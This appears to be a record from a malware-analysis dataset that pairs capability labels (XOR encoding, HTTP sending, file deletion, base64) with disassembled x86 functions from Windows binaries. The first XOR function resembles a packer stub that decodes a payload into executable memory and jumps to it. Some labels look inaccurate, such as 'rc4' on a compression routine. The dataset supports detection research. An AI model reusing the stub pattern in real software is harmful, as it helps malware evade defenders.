joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d6289ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d62e944]
jne 0x6d6289f4
repz ret
jmp fcn.6d629069

Function at 0x6d628cc6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6d628cd5
pop dword [ebp - 0x18]
mov eax, 0x820c5850
sub eax, 0x14a9cb7b
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x16a62858
add dword [ebp - 0x28], 0x37ac1cf3
mov dword [ebp - 0x24], 0xc74e2a34
sub dword [ebp - 0x24], 0x951addef
mov dword [ebp - 0x20], 0x1eb95a61
add dword [ebp - 0x20], 0x2d92e9cd
mov dword [ebp - 0x1c], 0x79b7f051
add dword [ebp - 0x1c], 0x86480faf
lea eax, [ebp - 0x28]
push eax
mov eax, 0xe5e79c57
sub eax, 0x7884fc33
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xa755da92
add dword [ebp - 0x28], 0xcd1c8ec4
mov dword [ebp - 0x24], 0x449f6f32
add dword [ebp - 0x24], 0xfcccf243
mov dword [ebp - 0x20], 0x7f9856e9
sub dword [ebp - 0x20], 0x1c28ea7d
mov dword [ebp - 0x1c], 0x6565ecce
add dword [ebp - 0x1c], 0x9a9a1332
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x7e675908
sub eax, 0x1104b8e8
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x33f4f
push 0
call eax
mov ecx, 0xf20e47c5
sub ecx, 0xf20e0b8f
mov edx, eax
mov esi, 0x5e59cf2d
add esi, 0xf0944d3
add esi, dword [ebp - 0x18]
mov ebx, 0xeab7201c
add dword [ebp - 8], ecx
mov edi, dword [esi]
xor dword [ebp - 8], ebx
xor edi, ebx
add dword [ebp - 0x14], 0x64c7f956
mov dword [edx], edi
add dword [ebp - 0x14], 0x8f4bf512
add edx, 0xf6e1d12d
add edx, 0x91e2ed7
add esi, 0x5018bd02
add esi, 0xafe74302
loop 0x6d628df1
add eax, 0x2ffc89aa
add eax, 0xd0045a01
mov ebx, eax
add eax, 5
mov ecx, 0x6d620000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40c390
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.00512410
push 0xffffffffffffffff
push 0x53ad6d
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x58213c]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 0x1010]
xor eax, eax
mov dword [ebp - 0x14], edi
mov word [ebp], ax
lea eax, [ebp]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00408ac0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00420b70
add esp, 0x10
lea ecx, [ebp - 0x10]
call fcn.0040d480
push esi
push dword [ebp + 0x100c]
mov dword [ebp - 4], 3
push 0x588700
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 5
push 0xdeece66d
push dword [0x58871c]
push dword [0x588718]
call fcn.005122e0
mov esi, eax
add esi, 0xb
mov dword [0x588718], esi
adc edx, 0
and edx, 0xffff
mov dword [0x58871c], edx
shrd esi, edx, 0x10
push 0x588700
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00409d90
mov ecx, eax
add esp, 4
mov byte [ebp - 4], 4
mov eax, esp
push ecx
push str.temp_
push eax
call fcn.0040ef90
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00415bd0
mov ecx, dword [ebp - 0x14]
add esp, 0x14
add ecx, 0xfffffff8
or esi, 0xffffffff
cmp ecx, section..data
je 0x40c4c8
mov eax, esi
lock xadd dword [ecx], eax
dec eax
cmp eax, esi
jne 0x40c4c8
push ecx
call fcn.00511f41
add esp, 4
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff8
cmp eax, section..data
je 0x40c4e8
lock xadd dword [eax], esi
dec esi
cmp esi, 0xffffffff
jne 0x40c4e8
push eax
call fcn.00511f41
add esp, 4
mov dword [edi + 4], 0
mov eax, edi
mov dword [edi + 4], 0x582008
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.00511b56
lea esp, [ebp + 0x1004]
pop ebp
ret 8

Function at 0x40c630
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ade4
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esi], eax
add eax, 0xfffffff8
cmp eax, section..data
je 0x40c66d
lock inc dword [eax]
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0x582008
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.0041dd80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40df80
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53b0b0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 4
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], 0xffffffff
test al, 0x10
je 0x40dfea
cmp eax, 0xffffffff
je 0x40dfea
push 0
mov ecx, esi
call fcn.00416160
jmp 0x40dff1
mov ecx, esi
call fcn.00416060
test al, al
jne 0x40dffe
push 0x32
call ebx
sub edi, 1
jns 0x40dfb3
mov ecx, dword [esi + 4]
or edi, 0xffffffff
sub ecx, 8
cmp ecx, section..data
je 0x40e023
mov eax, edi
lock xadd dword [ecx], eax
dec eax
cmp eax, edi
jne 0x40e023
push ecx
call fcn.00511f41
add esp, 4
mov eax, dword [esi]
sub eax, 8
cmp eax, section..data
je 0x40e042
lock xadd dword [eax], edi
dec edi
cmp edi, 0xffffffff
jne 0x40e042
push eax
call fcn.00511f41
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40f270
Capabilities:
Send data

Disassembly:
push ecx
push ebx
push ebp
push edi
mov ebp, ecx
push 0
push 8
push 0
mov edi, dword [ebp]
mov eax, dword [ebp + 8]
push dword [ebp + 4]
push dword [edi + 0x40]
mov ebx, dword [eax]
call dword [sym.imp.WININET.dll_HttpSendRequestExW]
test eax, eax
je 0x40f2f5
mov eax, dword [edi + 0x4c]
push esi
xor esi, esi
test eax, eax
jle 0x40f2f4
nop
sub eax, esi
mov dword [esp + 0x10], 0
mov ecx, 0x400
cmp eax, ecx
cmovl ecx, eax
test ecx, ecx
je 0x40f2f4
mov eax, dword [edi + 0x48]
lea edx, [esp + 0x10]
push edx
push ecx
add eax, esi
push eax
push dword [edi + 0x40]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x40f2f4
add esi, dword [esp + 0x10]
test ebx, ebx
je 0x40f2ed
push dword [edi + 0x4c]
mov eax, dword [ebx]
mov ecx, ebx
push esi
push dword [edi + 4]
mov eax, dword [eax + 4]
call eax
test al, al
je 0x40f2f4
mov eax, dword [edi + 0x4c]
cmp esi, eax
jl 0x40f2a0
pop esi
mov eax, dword [ebp]
push 0
push 0
push 0
push dword [eax + 0x40]
call dword [sym.imp.WININET.dll_HttpEndRequestW]
pop edi
test eax, eax
pop ebp
setne al
pop ebx
pop ecx
ret
Function at 0x413b10
Capabilities:
Encode data using base64

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
cmp byte [esi], 0
je 0x413c2f
mov ebp, dword [esp + 0x18]
xor ebx, ebx
mov cl, byte [esi]
inc esi
movzx eax, cl
test cl, cl
jns 0x413b70
mov edx, 0x7f
xor edi, edi
lea ecx, [edx - 0x3f]
test cl, al
je 0x413b4e
cmp ecx, 8
jbe 0x413b4e
shr ecx, 1
inc edi
shr edx, 1
test eax, ecx
jne 0x413b40
and eax, edx
sub edi, 1
js 0x413b70
movzx edx, byte [esi]
mov ecx, edx
and cl, 0xc0
cmp cl, 0x80
jne 0x413b70
and edx, 0x3f
shl eax, 6
inc esi
or eax, edx
sub edi, 1
jns 0x413b55
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x413b7c
mov eax, ecx
jmp 0x413bc1
lea ecx, [eax - 0x61]
cmp ecx, 0x19
ja 0x413b89
sub eax, 0x47
jmp 0x413bc1
lea ecx, [eax - 0x30]
cmp ecx, 9
ja 0x413b96
add eax, 4
jmp 0x413bc1
cmp eax, 0x2b
jne 0x413ba2
mov eax, 0x3e
jmp 0x413bc1
cmp eax, 0x2f
jne 0x413bae
mov eax, 0x3f
jmp 0x413bc1
cmp eax, 0x3d
jne 0x413c37
mov eax, 0x40
cmp ebx, 1
jle 0x413c37
mov byte [esp + ebx + 0x10], al
inc ebx
cmp ebx, 4
jl 0x413b28
mov eax, dword [esp + 0x10]
mov cl, ah
mov edx, dword [ebp]
shr cl, 4
shl al, 2
or cl, al
movzx eax, cl
mov ecx, ebp
push eax
call dword [edx + 0x14]
mov bl, byte [esp + 0x12]
cmp bl, 0x40
jae 0x413c26
movzx eax, byte [esp + 0x11]
mov cl, bl
mov edx, dword [ebp]
shr cl, 2
shl al, 4
or cl, al
movzx eax, cl
mov ecx, ebp
push eax
call dword [edx + 0x14]
mov al, byte [esp + 0x13]
cmp al, 0x40
jae 0x413c26
mov edx, dword [ebp]
mov ecx, ebp
shl bl, 6
or bl, al
movzx eax, bl
push eax
call dword [edx + 0x14]
cmp byte [esi], 0
jne 0x413b26
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
Function at 0x414000
Capabilities:
Create http request
Parse url

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53b555
mov eax, dword fs:[0]
push eax
sub esp, 0x50
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword fs:[0x2c]
mov edx, dword [0x5899d0]
mov edx, dword [eax + edx*4]
mov eax, dword [0x5887b4]
cmp eax, dword [edx + 4]
jg 0x41419c
mov eax, dword [ebx + 0x40]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebx + 0x40], 0
test eax, eax
je 0x414061
push eax
call esi
mov eax, dword [ebx + 0x3c]
test eax, eax
je 0x414072
push eax
call esi
mov dword [ebx + 0x3c], 0
cmp dword [0x5887b0], 0
je 0x414188
push 0x20000
call fcn.00517259
mov esi, eax
mov dword [ebp - 0x18], esi
push 0x1000
mov dword [ebp - 4], 0
call fcn.00517259
mov edi, eax
mov dword [ebp - 0x1c], edi
push 0x800
call fcn.00517259
mov dword [ebp - 0x10], eax
push 0x800
call fcn.00517259
mov ecx, eax
add esp, 0x10
mov dword [ebp - 0x14], ecx
cmp byte [ebx + 0x5a], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 3
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x44], 0
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], 0x10000
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], 0x800
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x400
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], 0x400
je 0x41412f
movzx eax, byte [ebx + 0x59]
lea ecx, [ebx + 8]
push eax
lea eax, [ebx + 0x48]
push eax
lea eax, [ebx + 0x44]
push eax
call fcn.004145c0
push dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
call fcn.00413a00
add esp, 8
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push dword [eax]
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x414169
push dword [ebp + 0xc]
lea eax, [ebp - 0x5c]
mov ecx, ebx
push dword [ebp + 8]
push dword [0x5887b0]
push eax
call fcn.00420800
push dword [ebp - 0x14]
call fcn.0051723e
push dword [ebp - 0x10]
call fcn.0051723e
push edi
call fcn.0051723e
push esi
call fcn.0051723e
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x5887b4
call fcn.00512079
add esp, 4
cmp dword [0x5887b4], 0xffffffff
jne 0x41404a
push 0
push 0
push 0
push 0
push str.juce
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0x5887b4
mov dword [0x5887b0], eax
call fcn.0051202f
add esp, 4
jmp 0x41404a
Function at 0x415a30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53b855
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [edi]
cmp byte [eax], 0
je 0x415acc
lea eax, [ebp + 8]
mov dword [ebp - 4], 0
push edi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call ebx
mov dword [ebp - 4], 0xffffffff
cmp eax, 0xffffffff
je 0x415acc
lea eax, [ebp + 8]
mov dword [ebp - 4], 1
push edi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call ebx
mov dword [ebp - 4], 0xffffffff
cmp eax, 0xffffffff
je 0x415bb0
test eax, 0x400
je 0x415bb0
cmp byte [ebp + 0x10], 0
je 0x415acc
mov ecx, edi
call fcn.00416060
mov esi, dword [ebp + 0xc]
lea eax, [ebp + 8]
push eax
mov ecx, edi
mov esi, dword [esi]
call fcn.0041bd90
push esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.00419f70
mov ecx, dword [ebp + 8]
or ebx, 0xffffffff
add ecx, 0xfffffff8
cmp ecx, section..data
je 0x415b14
mov eax, ebx
lock xadd dword [ecx], eax
dec eax
cmp eax, ebx
jne 0x415b14
push ecx
call fcn.00511f41
add esp, 4
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp + 8]
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov byte [ebp - 4], 3
test al, 0x10
je 0x415b47
mov dword [ebp + 8], 1
cmp eax, 0xffffffff
jne 0x415b4e
mov dword [ebp + 8], 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
call fcn.00413a00
push edi
mov esi, dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00413a00
add esp, 0x10
push dword [ebp + 8]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
test al, al
mov eax, dword [ebp - 0x10]
setne byte [ebp + 0xb]
add eax, 0xfffffff8
cmp eax, section..data
je 0x415b9b
lock xadd dword [eax], ebx
dec ebx
cmp ebx, 0xffffffff
jne 0x415b9b
push eax
call fcn.00511f41
add esp, 4
mov al, byte [ebp + 0xb]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416060
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53b8e0
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
cmp byte [eax], 0
je 0x416141
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0xffffffff
je 0x416141
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 1
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], 0xffffffff
test al, 0x10
je 0x416116
cmp eax, 0xffffffff
je 0x416116
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x416160
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53b926
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0
mov bl, 1
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push esi
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], 0xffffffff
test al, 0x10
je 0x416291
cmp eax, 0xffffffff
je 0x416291
cmp byte [ebp + 8], 0
jne 0x4161df
mov ecx, esi
call fcn.0041eed0
test al, al
jne 0x416291
lea eax, [ebp - 0x10]
push 0x54c868
push eax
call fcn.00408a10
add esp, 8
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 2
push eax
push 0
push 3
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
mov ecx, esi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
call fcn.00418f80
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff8
mov byte [ebp - 4], 3
cmp ecx, section..data
je 0x416250
or eax, 0xffffffff
lock xadd dword [ecx], eax
dec eax
cmp eax, 0xffffffff
jne 0x416250
push ecx
call fcn.00511f41
add esp, 4
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
lea edi, [esi + eax*4]
cmp esi, edi
je 0x41627f
nop dword [eax]
push dword [ebp + 8]
mov ecx, esi
call fcn.00416160
test al, al
je 0x416276
test bl, bl
je 0x416276
mov bl, 1
jmp 0x416278
xor bl, bl
add esi, 4
cmp esi, edi
jne 0x416260
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.0040d390
mov esi, dword [ebp - 0x18]
mov ecx, esi
call fcn.00416060
test al, al
je 0x4162b6
test bl, bl
je 0x4162b6
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4177d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ba50
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ecx]
cmp byte [eax], 0
je 0x41782c
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41782c
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x417850
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ba50
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ecx]
cmp byte [eax], 0
je 0x4178ab
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
call fcn.00413a00
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
jne 0x4178ab
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x418aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, dword [edi + 0x2c]
mov ebp, dword [edi + 0x74]
nop
mov eax, dword [edi + 0x2c]
mov ebx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub ebx, dword [edi + 0x6c]
add eax, esi
sub ebx, ebp
cmp dword [edi + 0x6c], eax
jb 0x418b47
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.005135c0
mov ebp, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
sub dword [edi + 0x5c], esi
lea edx, [eax + ebp*2]
nop
movzx ecx, word [edx - 2]
lea edx, [edx - 2]
mov eax, ecx
mov dword [esp + 0x14], 0
sub eax, esi
cmp ecx, esi
movzx eax, ax
cmovb eax, dword [esp + 0x14]
mov word [edx], ax
sub ebp, 1
jne 0x418af0
mov eax, dword [edi + 0x40]
mov ebp, esi
lea edx, [eax + esi*2]
nop dword [eax]
movzx ecx, word [edx - 2]
lea edx, [edx - 2]
mov eax, ecx
mov dword [esp + 0x14], 0
sub eax, esi
cmp ecx, esi
movzx eax, ax
cmovb eax, dword [esp + 0x14]
mov word [edx], ax
sub ebp, 1
jne 0x418b20
add ebx, esi
mov ebp, dword [edi]
mov eax, dword [ebp + 4]
test eax, eax
je 0x418bfb
mov edx, dword [edi + 0x6c]
mov ecx, dword [edi + 0x74]
add edx, ecx
add edx, dword [edi + 0x38]
cmp eax, ebx
mov dword [esp + 0x14], edx
cmovbe ebx, eax
test ebx, ebx
je 0x418bbf
sub eax, ebx
mov dword [ebp + 4], eax
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x418b8a
push ebx
push dword [ebp]
push dword [ebp + 0x30]
call fcn.0042a6a0
jmp 0x418ba0
cmp eax, 2
jne 0x418ba6
mov eax, dword [ebp]
test eax, eax
je 0x418ba3
push ebx
push eax
push dword [ebp + 0x30]
call fcn.00413d20
add esp, 0xc
mov dword [ebp + 0x30], eax
push ebx
push dword [ebp]
push dword [esp + 0x1c]
call fcn.005135c0
add dword [ebp], ebx
add esp, 0xc
add dword [ebp + 8], ebx
mov ecx, dword [edi + 0x74]
lea ebp, [ecx + ebx]
mov dword [edi + 0x74], ebp
cmp ebp, 3
jb 0x418be7
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebp, 0x106
jae 0x418bfb
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x418ab0
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x41a680
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x40c]
sub esp, 0x40c
push 0xffffffffffffffff
push 0x53bded
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x58213c]
xor eax, ebp
mov dword [ebp + 0x408], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x414]
xor eax, eax
mov dword [ebp - 0x10], esi
mov word [ebp], ax
lea eax, [ebp]
push eax
push 0x204
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00408ac0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push esi
call fcn.00420b70
mov eax, dword [ebp - 0x10]
add esp, 0x10
add eax, 0xfffffff8
cmp eax, section..data
je 0x41a717
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
cmp ecx, 0xffffffff
jne 0x41a717
push eax
call fcn.00511f41
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x408]
xor ecx, ebp
call fcn.00511b56
lea esp, [ebp + 0x40c]
pop ebp
ret